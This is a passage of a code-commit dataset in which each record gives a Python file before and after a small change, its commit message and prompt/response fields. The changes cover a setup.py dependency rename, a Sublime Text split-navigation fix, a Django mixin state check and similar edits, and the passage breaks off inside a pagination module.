commit
stringlengths
40
40
old_file
stringlengths
4
118
new_file
stringlengths
4
118
old_contents
stringlengths
0
2.94k
new_contents
stringlengths
1
4.43k
subject
stringlengths
15
444
message
stringlengths
16
3.45k
lang
stringclasses
1 value
license
stringclasses
13 values
repos
stringlengths
5
43.2k
prompt
stringlengths
17
4.58k
response
stringlengths
1
4.43k
prompt_tagged
stringlengths
58
4.62k
response_tagged
stringlengths
1
4.43k
text
stringlengths
132
7.29k
text_tagged
stringlengths
173
7.33k
dec2d1ce9bf0be0fa8e00b004ee59bfb66d4444a
wordpaths.py
wordpaths.py
import argparse from wp.main import WordPath def run(first_word, last_word): word_path = WordPath() word_path.load_word_list('tests/functional/misc/words', len(first_word)) chain = word_path.find(first_word, last_word) print(' > '.join(chain)) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('first_word') parser.add_argument('last_word') args = parser.parse_args() run(args.first_word, args.last_word)
#!/usr/bin/python import argparse from wp.main import WordPath def run(first_word, last_word): word_path = WordPath() word_path.load_word_list('tests/functional/misc/words', len(first_word)) chain = word_path.find(first_word, last_word) print(' > '.join(chain)) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('first_word') parser.add_argument('last_word') args = parser.parse_args() run(args.first_word, args.last_word)
Add shebang to main python script
Add shebang to main python script
Python
mit
reinaldons/word_paths,reinaldons/word_paths
import argparse from wp.main import WordPath def run(first_word, last_word): word_path = WordPath() word_path.load_word_list('tests/functional/misc/words', len(first_word)) chain = word_path.find(first_word, last_word) print(' > '.join(chain)) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('first_word') parser.add_argument('last_word') args = parser.parse_args() run(args.first_word, args.last_word) Add shebang to main python script
#!/usr/bin/python import argparse from wp.main import WordPath def run(first_word, last_word): word_path = WordPath() word_path.load_word_list('tests/functional/misc/words', len(first_word)) chain = word_path.find(first_word, last_word) print(' > '.join(chain)) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('first_word') parser.add_argument('last_word') args = parser.parse_args() run(args.first_word, args.last_word)
<commit_before> import argparse from wp.main import WordPath def run(first_word, last_word): word_path = WordPath() word_path.load_word_list('tests/functional/misc/words', len(first_word)) chain = word_path.find(first_word, last_word) print(' > '.join(chain)) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('first_word') parser.add_argument('last_word') args = parser.parse_args() run(args.first_word, args.last_word) <commit_msg>Add shebang to main python script<commit_after>
#!/usr/bin/python import argparse from wp.main import WordPath def run(first_word, last_word): word_path = WordPath() word_path.load_word_list('tests/functional/misc/words', len(first_word)) chain = word_path.find(first_word, last_word) print(' > '.join(chain)) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('first_word') parser.add_argument('last_word') args = parser.parse_args() run(args.first_word, args.last_word)
import argparse from wp.main import WordPath def run(first_word, last_word): word_path = WordPath() word_path.load_word_list('tests/functional/misc/words', len(first_word)) chain = word_path.find(first_word, last_word) print(' > '.join(chain)) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('first_word') parser.add_argument('last_word') args = parser.parse_args() run(args.first_word, args.last_word) Add shebang to main python script#!/usr/bin/python import argparse from wp.main import WordPath def run(first_word, last_word): word_path = WordPath() word_path.load_word_list('tests/functional/misc/words', len(first_word)) chain = word_path.find(first_word, last_word) print(' > '.join(chain)) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('first_word') parser.add_argument('last_word') args = parser.parse_args() run(args.first_word, args.last_word)
<commit_before> import argparse from wp.main import WordPath def run(first_word, last_word): word_path = WordPath() word_path.load_word_list('tests/functional/misc/words', len(first_word)) chain = word_path.find(first_word, last_word) print(' > '.join(chain)) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('first_word') parser.add_argument('last_word') args = parser.parse_args() run(args.first_word, args.last_word) <commit_msg>Add shebang to main python script<commit_after>#!/usr/bin/python import argparse from wp.main import WordPath def run(first_word, last_word): word_path = WordPath() word_path.load_word_list('tests/functional/misc/words', len(first_word)) chain = word_path.find(first_word, last_word) print(' > '.join(chain)) if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('first_word') parser.add_argument('last_word') args = parser.parse_args() run(args.first_word, args.last_word)
05c203f5ec79054c6616a8f822ff20f2db0ae07b
trigger.py
trigger.py
import datetime import time def trigger(updateq): current_time = datetime.datetime.now() delta = datetime.timedelta(seconds=10) while True: time.sleep(10) current_time += delta updateq.put("update")
import datetime import time def trigger(updateq): current_time = datetime.datetime.now() delta = datetime.timedelta(hours=1) while True: time.sleep(10) current_time += delta updateq.put("update")
Make update interval equal to 1 hour
Make update interval equal to 1 hour
Python
mit
Zloool/manyfaced-honeypot
import datetime import time def trigger(updateq): current_time = datetime.datetime.now() delta = datetime.timedelta(seconds=10) while True: time.sleep(10) current_time += delta updateq.put("update") Make update interval equal to 1 hour
import datetime import time def trigger(updateq): current_time = datetime.datetime.now() delta = datetime.timedelta(hours=1) while True: time.sleep(10) current_time += delta updateq.put("update")
<commit_before>import datetime import time def trigger(updateq): current_time = datetime.datetime.now() delta = datetime.timedelta(seconds=10) while True: time.sleep(10) current_time += delta updateq.put("update") <commit_msg>Make update interval equal to 1 hour<commit_after>
import datetime import time def trigger(updateq): current_time = datetime.datetime.now() delta = datetime.timedelta(hours=1) while True: time.sleep(10) current_time += delta updateq.put("update")
import datetime import time def trigger(updateq): current_time = datetime.datetime.now() delta = datetime.timedelta(seconds=10) while True: time.sleep(10) current_time += delta updateq.put("update") Make update interval equal to 1 hourimport datetime import time def trigger(updateq): current_time = datetime.datetime.now() delta = datetime.timedelta(hours=1) while True: time.sleep(10) current_time += delta updateq.put("update")
<commit_before>import datetime import time def trigger(updateq): current_time = datetime.datetime.now() delta = datetime.timedelta(seconds=10) while True: time.sleep(10) current_time += delta updateq.put("update") <commit_msg>Make update interval equal to 1 hour<commit_after>import datetime import time def trigger(updateq): current_time = datetime.datetime.now() delta = datetime.timedelta(hours=1) while True: time.sleep(10) current_time += delta updateq.put("update")
b55676c4cfb2d662c9a82d17504db091449e3992
setup.py
setup.py
from setuptools import setup, find_packages setup(name='scattertext', version='0.0.2.22', description='An NLP package to visualize interesting terms in text.', url='https://github.com/JasonKessler/scattertext', author='Jason Kessler', author_email='jason.kessler@gmail.com', license='MIT', packages=find_packages(), install_requires=[ 'numpy', 'scipy', 'sklearn', 'pandas', #'spacy', #'jieba', #'tinysegmenter', #'empath', #'umap', #'gensim' # 'matplotlib', # 'seaborn', # 'jupyter', ], package_data={ 'scattertext': ['data/*', 'data/viz/*', 'data/viz/*/*'] }, test_suite="nose.collector", tests_require=['nose'], #setup_requires=['nose>=1.0'], entry_points={ 'console_scripts': [ 'scattertext = scattertext.CLI:main', ], }, zip_safe=False)
from setuptools import setup, find_packages setup(name='scattertext', version='0.0.2.22', description='An NLP package to visualize interesting terms in text.', url='https://github.com/JasonKessler/scattertext', author='Jason Kessler', author_email='jason.kessler@gmail.com', license='MIT', packages=find_packages(), install_requires=[ 'numpy', 'scipy', 'scikit-learn', 'pandas', #'spacy', #'jieba', #'tinysegmenter', #'empath', #'umap', #'gensim' # 'matplotlib', # 'seaborn', # 'jupyter', ], package_data={ 'scattertext': ['data/*', 'data/viz/*', 'data/viz/*/*'] }, test_suite="nose.collector", tests_require=['nose'], #setup_requires=['nose>=1.0'], entry_points={ 'console_scripts': [ 'scattertext = scattertext.CLI:main', ], }, zip_safe=False)
Replace `sklearn` dependency with `scikit-learn`
Replace `sklearn` dependency with `scikit-learn` `sklearn` isn't the package you're looking for; as https://pypi.python.org/pypi/sklearn politely notes, you should "use scikit-learn instead": https://pypi.python.org/pypi/scikit-learn/ It's unfortunate that the names of Python packages have nothing to do with their import names, besides convention :(
Python
apache-2.0
JasonKessler/scattertext,JasonKessler/scattertext,JasonKessler/scattertext,JasonKessler/scattertext
from setuptools import setup, find_packages setup(name='scattertext', version='0.0.2.22', description='An NLP package to visualize interesting terms in text.', url='https://github.com/JasonKessler/scattertext', author='Jason Kessler', author_email='jason.kessler@gmail.com', license='MIT', packages=find_packages(), install_requires=[ 'numpy', 'scipy', 'sklearn', 'pandas', #'spacy', #'jieba', #'tinysegmenter', #'empath', #'umap', #'gensim' # 'matplotlib', # 'seaborn', # 'jupyter', ], package_data={ 'scattertext': ['data/*', 'data/viz/*', 'data/viz/*/*'] }, test_suite="nose.collector", tests_require=['nose'], #setup_requires=['nose>=1.0'], entry_points={ 'console_scripts': [ 'scattertext = scattertext.CLI:main', ], }, zip_safe=False) Replace `sklearn` dependency with `scikit-learn` `sklearn` isn't the package you're looking for; as https://pypi.python.org/pypi/sklearn politely notes, you should "use scikit-learn instead": https://pypi.python.org/pypi/scikit-learn/ It's unfortunate that the names of Python packages have nothing to do with their import names, besides convention :(
from setuptools import setup, find_packages setup(name='scattertext', version='0.0.2.22', description='An NLP package to visualize interesting terms in text.', url='https://github.com/JasonKessler/scattertext', author='Jason Kessler', author_email='jason.kessler@gmail.com', license='MIT', packages=find_packages(), install_requires=[ 'numpy', 'scipy', 'scikit-learn', 'pandas', #'spacy', #'jieba', #'tinysegmenter', #'empath', #'umap', #'gensim' # 'matplotlib', # 'seaborn', # 'jupyter', ], package_data={ 'scattertext': ['data/*', 'data/viz/*', 'data/viz/*/*'] }, test_suite="nose.collector", tests_require=['nose'], #setup_requires=['nose>=1.0'], entry_points={ 'console_scripts': [ 'scattertext = scattertext.CLI:main', ], }, zip_safe=False)
<commit_before>from setuptools import setup, find_packages setup(name='scattertext', version='0.0.2.22', description='An NLP package to visualize interesting terms in text.', url='https://github.com/JasonKessler/scattertext', author='Jason Kessler', author_email='jason.kessler@gmail.com', license='MIT', packages=find_packages(), install_requires=[ 'numpy', 'scipy', 'sklearn', 'pandas', #'spacy', #'jieba', #'tinysegmenter', #'empath', #'umap', #'gensim' # 'matplotlib', # 'seaborn', # 'jupyter', ], package_data={ 'scattertext': ['data/*', 'data/viz/*', 'data/viz/*/*'] }, test_suite="nose.collector", tests_require=['nose'], #setup_requires=['nose>=1.0'], entry_points={ 'console_scripts': [ 'scattertext = scattertext.CLI:main', ], }, zip_safe=False) <commit_msg>Replace `sklearn` dependency with `scikit-learn` `sklearn` isn't the package you're looking for; as https://pypi.python.org/pypi/sklearn politely notes, you should "use scikit-learn instead": https://pypi.python.org/pypi/scikit-learn/ It's unfortunate that the names of Python packages have nothing to do with their import names, besides convention :(<commit_after>
from setuptools import setup, find_packages setup(name='scattertext', version='0.0.2.22', description='An NLP package to visualize interesting terms in text.', url='https://github.com/JasonKessler/scattertext', author='Jason Kessler', author_email='jason.kessler@gmail.com', license='MIT', packages=find_packages(), install_requires=[ 'numpy', 'scipy', 'scikit-learn', 'pandas', #'spacy', #'jieba', #'tinysegmenter', #'empath', #'umap', #'gensim' # 'matplotlib', # 'seaborn', # 'jupyter', ], package_data={ 'scattertext': ['data/*', 'data/viz/*', 'data/viz/*/*'] }, test_suite="nose.collector", tests_require=['nose'], #setup_requires=['nose>=1.0'], entry_points={ 'console_scripts': [ 'scattertext = scattertext.CLI:main', ], }, zip_safe=False)
from setuptools import setup, find_packages setup(name='scattertext', version='0.0.2.22', description='An NLP package to visualize interesting terms in text.', url='https://github.com/JasonKessler/scattertext', author='Jason Kessler', author_email='jason.kessler@gmail.com', license='MIT', packages=find_packages(), install_requires=[ 'numpy', 'scipy', 'sklearn', 'pandas', #'spacy', #'jieba', #'tinysegmenter', #'empath', #'umap', #'gensim' # 'matplotlib', # 'seaborn', # 'jupyter', ], package_data={ 'scattertext': ['data/*', 'data/viz/*', 'data/viz/*/*'] }, test_suite="nose.collector", tests_require=['nose'], #setup_requires=['nose>=1.0'], entry_points={ 'console_scripts': [ 'scattertext = scattertext.CLI:main', ], }, zip_safe=False) Replace `sklearn` dependency with `scikit-learn` `sklearn` isn't the package you're looking for; as https://pypi.python.org/pypi/sklearn politely notes, you should "use scikit-learn instead": https://pypi.python.org/pypi/scikit-learn/ It's unfortunate that the names of Python packages have nothing to do with their import names, besides convention :(from setuptools import setup, find_packages setup(name='scattertext', version='0.0.2.22', description='An NLP package to visualize interesting terms in text.', url='https://github.com/JasonKessler/scattertext', author='Jason Kessler', author_email='jason.kessler@gmail.com', license='MIT', packages=find_packages(), install_requires=[ 'numpy', 'scipy', 'scikit-learn', 'pandas', #'spacy', #'jieba', #'tinysegmenter', #'empath', #'umap', #'gensim' # 'matplotlib', # 'seaborn', # 'jupyter', ], package_data={ 'scattertext': ['data/*', 'data/viz/*', 'data/viz/*/*'] }, test_suite="nose.collector", tests_require=['nose'], #setup_requires=['nose>=1.0'], entry_points={ 'console_scripts': [ 'scattertext = scattertext.CLI:main', ], }, zip_safe=False)
<commit_before>from setuptools import setup, find_packages setup(name='scattertext', version='0.0.2.22', description='An NLP package to visualize interesting terms in text.', url='https://github.com/JasonKessler/scattertext', author='Jason Kessler', author_email='jason.kessler@gmail.com', license='MIT', packages=find_packages(), install_requires=[ 'numpy', 'scipy', 'sklearn', 'pandas', #'spacy', #'jieba', #'tinysegmenter', #'empath', #'umap', #'gensim' # 'matplotlib', # 'seaborn', # 'jupyter', ], package_data={ 'scattertext': ['data/*', 'data/viz/*', 'data/viz/*/*'] }, test_suite="nose.collector", tests_require=['nose'], #setup_requires=['nose>=1.0'], entry_points={ 'console_scripts': [ 'scattertext = scattertext.CLI:main', ], }, zip_safe=False) <commit_msg>Replace `sklearn` dependency with `scikit-learn` `sklearn` isn't the package you're looking for; as https://pypi.python.org/pypi/sklearn politely notes, you should "use scikit-learn instead": https://pypi.python.org/pypi/scikit-learn/ It's unfortunate that the names of Python packages have nothing to do with their import names, besides convention :(<commit_after>from setuptools import setup, find_packages setup(name='scattertext', version='0.0.2.22', description='An NLP package to visualize interesting terms in text.', url='https://github.com/JasonKessler/scattertext', author='Jason Kessler', author_email='jason.kessler@gmail.com', license='MIT', packages=find_packages(), install_requires=[ 'numpy', 'scipy', 'scikit-learn', 'pandas', #'spacy', #'jieba', #'tinysegmenter', #'empath', #'umap', #'gensim' # 'matplotlib', # 'seaborn', # 'jupyter', ], package_data={ 'scattertext': ['data/*', 'data/viz/*', 'data/viz/*/*'] }, test_suite="nose.collector", tests_require=['nose'], #setup_requires=['nose>=1.0'], entry_points={ 'console_scripts': [ 'scattertext = scattertext.CLI:main', ], }, zip_safe=False)
3c44db39295945d544ba5a9fc20b2c5dddf4346d
nodeconductor/core/mixins.py
nodeconductor/core/mixins.py
from __future__ import unicode_literals from rest_framework import mixins from nodeconductor.core.models import SynchronizableMixin, SynchronizationStates from nodeconductor.core.exceptions import IncorrectStateException class ListModelMixin(mixins.ListModelMixin): def __init__(self, *args, **kwargs): import warnings warnings.warn( "nodeconductor.core.mixins.ListModelMixin is deprecated. " "Use stock rest_framework.mixins.ListModelMixin instead.", DeprecationWarning, ) super(ListModelMixin, self).__init__(*args, **kwargs) class UpdateOnlyStableMixin(object): """ Allow modification of entities in stable state only. """ def initial(self, request, *args, **kwargs): if self.action in ('update', 'partial_update', 'destroy'): obj = self.get_object() if obj and isinstance(obj, SynchronizableMixin): if obj.state not in SynchronizationStates.STABLE_STATES: raise IncorrectStateException( 'Modification allowed in stable states only.') return super(UpdateOnlyStableMixin, self).initial(request, *args, **kwargs) class UserContextMixin(object): """ Pass current user to serializer context """ def get_serializer_context(self): context = super(UserContextMixin, self).get_serializer_context() context['user'] = self.request.user return context
from __future__ import unicode_literals from rest_framework import mixins from nodeconductor.core.models import SynchronizableMixin, SynchronizationStates from nodeconductor.core.exceptions import IncorrectStateException class ListModelMixin(mixins.ListModelMixin): def __init__(self, *args, **kwargs): import warnings warnings.warn( "nodeconductor.core.mixins.ListModelMixin is deprecated. " "Use stock rest_framework.mixins.ListModelMixin instead.", DeprecationWarning, ) super(ListModelMixin, self).__init__(*args, **kwargs) class UpdateOnlyStableMixin(object): """ Allow modification of entities in stable state only. """ def initial(self, request, *args, **kwargs): acceptable_states = { 'update': SynchronizationStates.STABLE_STATES, 'partial_update': SynchronizationStates.STABLE_STATES, 'destroy': SynchronizationStates.STABLE_STATES | {SynchronizationStates.NEW}, } if self.action in acceptable_states.keys(): obj = self.get_object() if obj and isinstance(obj, SynchronizableMixin): if obj.state not in acceptable_states[self.action]: raise IncorrectStateException( 'Modification allowed in stable states only.') return super(UpdateOnlyStableMixin, self).initial(request, *args, **kwargs) class UserContextMixin(object): """ Pass current user to serializer context """ def get_serializer_context(self): context = super(UserContextMixin, self).get_serializer_context() context['user'] = self.request.user return context
Allow delete operation in NEW state
Allow delete operation in NEW state - nc-1148
Python
mit
opennode/nodeconductor,opennode/nodeconductor,opennode/nodeconductor
from __future__ import unicode_literals from rest_framework import mixins from nodeconductor.core.models import SynchronizableMixin, SynchronizationStates from nodeconductor.core.exceptions import IncorrectStateException class ListModelMixin(mixins.ListModelMixin): def __init__(self, *args, **kwargs): import warnings warnings.warn( "nodeconductor.core.mixins.ListModelMixin is deprecated. " "Use stock rest_framework.mixins.ListModelMixin instead.", DeprecationWarning, ) super(ListModelMixin, self).__init__(*args, **kwargs) class UpdateOnlyStableMixin(object): """ Allow modification of entities in stable state only. """ def initial(self, request, *args, **kwargs): if self.action in ('update', 'partial_update', 'destroy'): obj = self.get_object() if obj and isinstance(obj, SynchronizableMixin): if obj.state not in SynchronizationStates.STABLE_STATES: raise IncorrectStateException( 'Modification allowed in stable states only.') return super(UpdateOnlyStableMixin, self).initial(request, *args, **kwargs) class UserContextMixin(object): """ Pass current user to serializer context """ def get_serializer_context(self): context = super(UserContextMixin, self).get_serializer_context() context['user'] = self.request.user return context Allow delete operation in NEW state - nc-1148
from __future__ import unicode_literals from rest_framework import mixins from nodeconductor.core.models import SynchronizableMixin, SynchronizationStates from nodeconductor.core.exceptions import IncorrectStateException class ListModelMixin(mixins.ListModelMixin): def __init__(self, *args, **kwargs): import warnings warnings.warn( "nodeconductor.core.mixins.ListModelMixin is deprecated. " "Use stock rest_framework.mixins.ListModelMixin instead.", DeprecationWarning, ) super(ListModelMixin, self).__init__(*args, **kwargs) class UpdateOnlyStableMixin(object): """ Allow modification of entities in stable state only. """ def initial(self, request, *args, **kwargs): acceptable_states = { 'update': SynchronizationStates.STABLE_STATES, 'partial_update': SynchronizationStates.STABLE_STATES, 'destroy': SynchronizationStates.STABLE_STATES | {SynchronizationStates.NEW}, } if self.action in acceptable_states.keys(): obj = self.get_object() if obj and isinstance(obj, SynchronizableMixin): if obj.state not in acceptable_states[self.action]: raise IncorrectStateException( 'Modification allowed in stable states only.') return super(UpdateOnlyStableMixin, self).initial(request, *args, **kwargs) class UserContextMixin(object): """ Pass current user to serializer context """ def get_serializer_context(self): context = super(UserContextMixin, self).get_serializer_context() context['user'] = self.request.user return context
<commit_before>from __future__ import unicode_literals from rest_framework import mixins from nodeconductor.core.models import SynchronizableMixin, SynchronizationStates from nodeconductor.core.exceptions import IncorrectStateException class ListModelMixin(mixins.ListModelMixin): def __init__(self, *args, **kwargs): import warnings warnings.warn( "nodeconductor.core.mixins.ListModelMixin is deprecated. " "Use stock rest_framework.mixins.ListModelMixin instead.", DeprecationWarning, ) super(ListModelMixin, self).__init__(*args, **kwargs) class UpdateOnlyStableMixin(object): """ Allow modification of entities in stable state only. """ def initial(self, request, *args, **kwargs): if self.action in ('update', 'partial_update', 'destroy'): obj = self.get_object() if obj and isinstance(obj, SynchronizableMixin): if obj.state not in SynchronizationStates.STABLE_STATES: raise IncorrectStateException( 'Modification allowed in stable states only.') return super(UpdateOnlyStableMixin, self).initial(request, *args, **kwargs) class UserContextMixin(object): """ Pass current user to serializer context """ def get_serializer_context(self): context = super(UserContextMixin, self).get_serializer_context() context['user'] = self.request.user return context <commit_msg>Allow delete operation in NEW state - nc-1148<commit_after>
from __future__ import unicode_literals from rest_framework import mixins from nodeconductor.core.models import SynchronizableMixin, SynchronizationStates from nodeconductor.core.exceptions import IncorrectStateException class ListModelMixin(mixins.ListModelMixin): def __init__(self, *args, **kwargs): import warnings warnings.warn( "nodeconductor.core.mixins.ListModelMixin is deprecated. " "Use stock rest_framework.mixins.ListModelMixin instead.", DeprecationWarning, ) super(ListModelMixin, self).__init__(*args, **kwargs) class UpdateOnlyStableMixin(object): """ Allow modification of entities in stable state only. """ def initial(self, request, *args, **kwargs): acceptable_states = { 'update': SynchronizationStates.STABLE_STATES, 'partial_update': SynchronizationStates.STABLE_STATES, 'destroy': SynchronizationStates.STABLE_STATES | {SynchronizationStates.NEW}, } if self.action in acceptable_states.keys(): obj = self.get_object() if obj and isinstance(obj, SynchronizableMixin): if obj.state not in acceptable_states[self.action]: raise IncorrectStateException( 'Modification allowed in stable states only.') return super(UpdateOnlyStableMixin, self).initial(request, *args, **kwargs) class UserContextMixin(object): """ Pass current user to serializer context """ def get_serializer_context(self): context = super(UserContextMixin, self).get_serializer_context() context['user'] = self.request.user return context
from __future__ import unicode_literals from rest_framework import mixins from nodeconductor.core.models import SynchronizableMixin, SynchronizationStates from nodeconductor.core.exceptions import IncorrectStateException class ListModelMixin(mixins.ListModelMixin): def __init__(self, *args, **kwargs): import warnings warnings.warn( "nodeconductor.core.mixins.ListModelMixin is deprecated. " "Use stock rest_framework.mixins.ListModelMixin instead.", DeprecationWarning, ) super(ListModelMixin, self).__init__(*args, **kwargs) class UpdateOnlyStableMixin(object): """ Allow modification of entities in stable state only. """ def initial(self, request, *args, **kwargs): if self.action in ('update', 'partial_update', 'destroy'): obj = self.get_object() if obj and isinstance(obj, SynchronizableMixin): if obj.state not in SynchronizationStates.STABLE_STATES: raise IncorrectStateException( 'Modification allowed in stable states only.') return super(UpdateOnlyStableMixin, self).initial(request, *args, **kwargs) class UserContextMixin(object): """ Pass current user to serializer context """ def get_serializer_context(self): context = super(UserContextMixin, self).get_serializer_context() context['user'] = self.request.user return context Allow delete operation in NEW state - nc-1148from __future__ import unicode_literals from rest_framework import mixins from nodeconductor.core.models import SynchronizableMixin, SynchronizationStates from nodeconductor.core.exceptions import IncorrectStateException class ListModelMixin(mixins.ListModelMixin): def __init__(self, *args, **kwargs): import warnings warnings.warn( "nodeconductor.core.mixins.ListModelMixin is deprecated. " "Use stock rest_framework.mixins.ListModelMixin instead.", DeprecationWarning, ) super(ListModelMixin, self).__init__(*args, **kwargs) class UpdateOnlyStableMixin(object): """ Allow modification of entities in stable state only. """ def initial(self, request, *args, **kwargs): acceptable_states = { 'update': SynchronizationStates.STABLE_STATES, 'partial_update': SynchronizationStates.STABLE_STATES, 'destroy': SynchronizationStates.STABLE_STATES | {SynchronizationStates.NEW}, } if self.action in acceptable_states.keys(): obj = self.get_object() if obj and isinstance(obj, SynchronizableMixin): if obj.state not in acceptable_states[self.action]: raise IncorrectStateException( 'Modification allowed in stable states only.') return super(UpdateOnlyStableMixin, self).initial(request, *args, **kwargs) class UserContextMixin(object): """ Pass current user to serializer context """ def get_serializer_context(self): context = super(UserContextMixin, self).get_serializer_context() context['user'] = self.request.user return context
<commit_before>from __future__ import unicode_literals from rest_framework import mixins from nodeconductor.core.models import SynchronizableMixin, SynchronizationStates from nodeconductor.core.exceptions import IncorrectStateException class ListModelMixin(mixins.ListModelMixin): def __init__(self, *args, **kwargs): import warnings warnings.warn( "nodeconductor.core.mixins.ListModelMixin is deprecated. " "Use stock rest_framework.mixins.ListModelMixin instead.", DeprecationWarning, ) super(ListModelMixin, self).__init__(*args, **kwargs) class UpdateOnlyStableMixin(object): """ Allow modification of entities in stable state only. """ def initial(self, request, *args, **kwargs): if self.action in ('update', 'partial_update', 'destroy'): obj = self.get_object() if obj and isinstance(obj, SynchronizableMixin): if obj.state not in SynchronizationStates.STABLE_STATES: raise IncorrectStateException( 'Modification allowed in stable states only.') return super(UpdateOnlyStableMixin, self).initial(request, *args, **kwargs) class UserContextMixin(object): """ Pass current user to serializer context """ def get_serializer_context(self): context = super(UserContextMixin, self).get_serializer_context() context['user'] = self.request.user return context <commit_msg>Allow delete operation in NEW state - nc-1148<commit_after>from __future__ import unicode_literals from rest_framework import mixins from nodeconductor.core.models import SynchronizableMixin, SynchronizationStates from nodeconductor.core.exceptions import IncorrectStateException class ListModelMixin(mixins.ListModelMixin): def __init__(self, *args, **kwargs): import warnings warnings.warn( "nodeconductor.core.mixins.ListModelMixin is deprecated. " "Use stock rest_framework.mixins.ListModelMixin instead.", DeprecationWarning, ) super(ListModelMixin, self).__init__(*args, **kwargs) class UpdateOnlyStableMixin(object): """ Allow modification of entities in stable state only. """ def initial(self, request, *args, **kwargs): acceptable_states = { 'update': SynchronizationStates.STABLE_STATES, 'partial_update': SynchronizationStates.STABLE_STATES, 'destroy': SynchronizationStates.STABLE_STATES | {SynchronizationStates.NEW}, } if self.action in acceptable_states.keys(): obj = self.get_object() if obj and isinstance(obj, SynchronizableMixin): if obj.state not in acceptable_states[self.action]: raise IncorrectStateException( 'Modification allowed in stable states only.') return super(UpdateOnlyStableMixin, self).initial(request, *args, **kwargs) class UserContextMixin(object): """ Pass current user to serializer context """ def get_serializer_context(self): context = super(UserContextMixin, self).get_serializer_context() context['user'] = self.request.user return context
b6ccc6b6ae6c5fab45f7a27dbecbda88cc8775b8
SplitNavigation.py
SplitNavigation.py
import sublime, sublime_plugin class SplitNavigationCommand(sublime_plugin.TextCommand): def run(self, edit, direction): win = self.view.window() num = win.num_groups() act = win.active_group() if direction == "up": act = act + 1 else: act = act - 1 win.focus_group(act % num)
import sublime, sublime_plugin def focusNext(win): act = win.active_group() num = win.num_groups() act += 1 if act >= num: act = 0 win.focus_group(act) if len(win.views_in_group(act)) == 0: focusNext(win) def focusPrev(win): act = win.active_group() num = win.num_groups() act -= 1 if act < 0: act = num - 1 win.focus_group(act) if len(win.views_in_group(act)) == 0: focusPrev(win) class SplitNavigationCommand(sublime_plugin.TextCommand): def run(self, edit, direction): win = self.view.window() if direction == "up": focusNext(win) else: focusPrev(win)
Fix some weird action when user navigates between blank groups.
Fix some weird action when user navigates between blank groups.
Python
mit
oleander/sublime-split-navigation,oleander/sublime-split-navigation
import sublime, sublime_plugin class SplitNavigationCommand(sublime_plugin.TextCommand): def run(self, edit, direction): win = self.view.window() num = win.num_groups() act = win.active_group() if direction == "up": act = act + 1 else: act = act - 1 win.focus_group(act % num) Fix some weird action when user navigates between blank groups.
import sublime, sublime_plugin def focusNext(win): act = win.active_group() num = win.num_groups() act += 1 if act >= num: act = 0 win.focus_group(act) if len(win.views_in_group(act)) == 0: focusNext(win) def focusPrev(win): act = win.active_group() num = win.num_groups() act -= 1 if act < 0: act = num - 1 win.focus_group(act) if len(win.views_in_group(act)) == 0: focusPrev(win) class SplitNavigationCommand(sublime_plugin.TextCommand): def run(self, edit, direction): win = self.view.window() if direction == "up": focusNext(win) else: focusPrev(win)
<commit_before>import sublime, sublime_plugin class SplitNavigationCommand(sublime_plugin.TextCommand): def run(self, edit, direction): win = self.view.window() num = win.num_groups() act = win.active_group() if direction == "up": act = act + 1 else: act = act - 1 win.focus_group(act % num) <commit_msg>Fix some weird action when user navigates between blank groups.<commit_after>
import sublime, sublime_plugin def focusNext(win): act = win.active_group() num = win.num_groups() act += 1 if act >= num: act = 0 win.focus_group(act) if len(win.views_in_group(act)) == 0: focusNext(win) def focusPrev(win): act = win.active_group() num = win.num_groups() act -= 1 if act < 0: act = num - 1 win.focus_group(act) if len(win.views_in_group(act)) == 0: focusPrev(win) class SplitNavigationCommand(sublime_plugin.TextCommand): def run(self, edit, direction): win = self.view.window() if direction == "up": focusNext(win) else: focusPrev(win)
import sublime, sublime_plugin class SplitNavigationCommand(sublime_plugin.TextCommand): def run(self, edit, direction): win = self.view.window() num = win.num_groups() act = win.active_group() if direction == "up": act = act + 1 else: act = act - 1 win.focus_group(act % num) Fix some weird action when user navigates between blank groups.import sublime, sublime_plugin def focusNext(win): act = win.active_group() num = win.num_groups() act += 1 if act >= num: act = 0 win.focus_group(act) if len(win.views_in_group(act)) == 0: focusNext(win) def focusPrev(win): act = win.active_group() num = win.num_groups() act -= 1 if act < 0: act = num - 1 win.focus_group(act) if len(win.views_in_group(act)) == 0: focusPrev(win) class SplitNavigationCommand(sublime_plugin.TextCommand): def run(self, edit, direction): win = self.view.window() if direction == "up": focusNext(win) else: focusPrev(win)
<commit_before>import sublime, sublime_plugin class SplitNavigationCommand(sublime_plugin.TextCommand): def run(self, edit, direction): win = self.view.window() num = win.num_groups() act = win.active_group() if direction == "up": act = act + 1 else: act = act - 1 win.focus_group(act % num) <commit_msg>Fix some weird action when user navigates between blank groups.<commit_after>import sublime, sublime_plugin def focusNext(win): act = win.active_group() num = win.num_groups() act += 1 if act >= num: act = 0 win.focus_group(act) if len(win.views_in_group(act)) == 0: focusNext(win) def focusPrev(win): act = win.active_group() num = win.num_groups() act -= 1 if act < 0: act = num - 1 win.focus_group(act) if len(win.views_in_group(act)) == 0: focusPrev(win) class SplitNavigationCommand(sublime_plugin.TextCommand): def run(self, edit, direction): win = self.view.window() if direction == "up": focusNext(win) else: focusPrev(win)
08edbb1b723880ac81b63e5d1ca31c331f79b0a8
awx/api/pagination.py
awx/api/pagination.py
# Copyright (c) 2015 Ansible, Inc. # All Rights Reserved. # Django REST Framework from rest_framework import pagination from rest_framework.utils.urls import replace_query_param class Pagination(pagination.PageNumberPagination): page_size_query_param = 'page_size' def get_next_link(self): if not self.page.has_next(): return None url = self.request and self.request.get_full_path() or '' page_number = self.page.next_page_number() return replace_query_param(url, self.page_query_param, page_number) def get_previous_link(self): if not self.page.has_previous(): return None url = self.request and self.request.get_full_path() or '' page_number = self.page.previous_page_number() return replace_query_param(url, self.page_query_param, page_number)
